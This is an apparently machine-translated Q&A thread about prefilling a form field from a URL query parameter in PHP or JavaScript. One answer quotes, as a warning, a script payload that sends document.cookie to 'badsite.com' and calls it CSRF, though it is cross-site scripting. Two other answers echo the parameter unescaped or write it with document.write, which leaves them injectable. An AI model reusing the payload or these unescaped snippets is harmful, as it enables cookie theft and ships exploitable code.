2011-05-19 127 views
1

我想預先填充來自url的變量。我該怎麼做呢?使用URL參數值預填充表單輸入

例如:

http://somewhere.com?name=john 

然後在表單名稱字段將與「約翰」預先填充,如果有一個在URL沒有名字則字段將是空的,並準備在充滿。提前

謝謝..

+1

PHP或Javascript? – ansiart 2011-05-19 22:14:28

回答

3

好,使用PHP,像

<input type="text" name="name" value="<?php echo ((isset($_GET["name"]))?htmlspecialchars($_GET["name"]):""); ?>" /> 

我不知道如何解析出使用javascript的獲取變量。

此外,請記住添加htmlspecialchars,以阻止csrf攻擊。 如果有人跑這樣的東西:http://example.com/form.php?name="><script>document.location.href = "http://badsite.com?cookies="+document.cookie;</script><class id="
可能會變得很糟糕(只是一個例子,不知道它是否工作)。

1

PHP的方式:

<input type="text" name="name" value="<?php echo htmlspecialchars($_GET["name"]); ?>"/> 

對於JavaScript,你首先應該找到一種方法來檢索GET變量。看看這個:How to get "GET" request parameters in JavaScript?

後您在回答所提出的功能,你可以做到以下幾點:

document.write('<input type="text" name="name" value="' 
    + get('name') 
    + '"/>'); 
1

您可以使用PHP $_GET['name']值作爲表單元素的值。如果沒有設置值,該值將顯示爲空白,這是您想要的。

<input type="text" name="name" value="<?php echo $_GET['name']; ?>'" /> 
+0

是的,但有了php警告,它會拋出一個,這是錯誤的做法 – Ben 2011-05-19 22:19:51

+0

這是事實,但在生產服務器上顯示警告也是一種不好的做法 - 但是您的觀點已經被採納。 – julio 2011-05-19 22:20:51

+0

你有一個好點。我同意,如果它使代碼更清潔,通常會更好。只是一個事後 – Ben 2011-05-19 22:22:34

0

服務器端是最好的方式去(PHP或任何語言的編碼,。)它減輕了客戶端的性能問題,並全面,一般比較可靠的。

如果你需要,雖然使用JavaScript,你可以用這個jQuery插件的幫助,這樣做(或看源代碼,看看什麼/怎麼會從當前window.location的在GET PARAMS)

http://www.mathias-bank.de/2007/04/21/jquery-plugin-geturlparam-version-2/

然後使用$('input').val()函數來設置該值。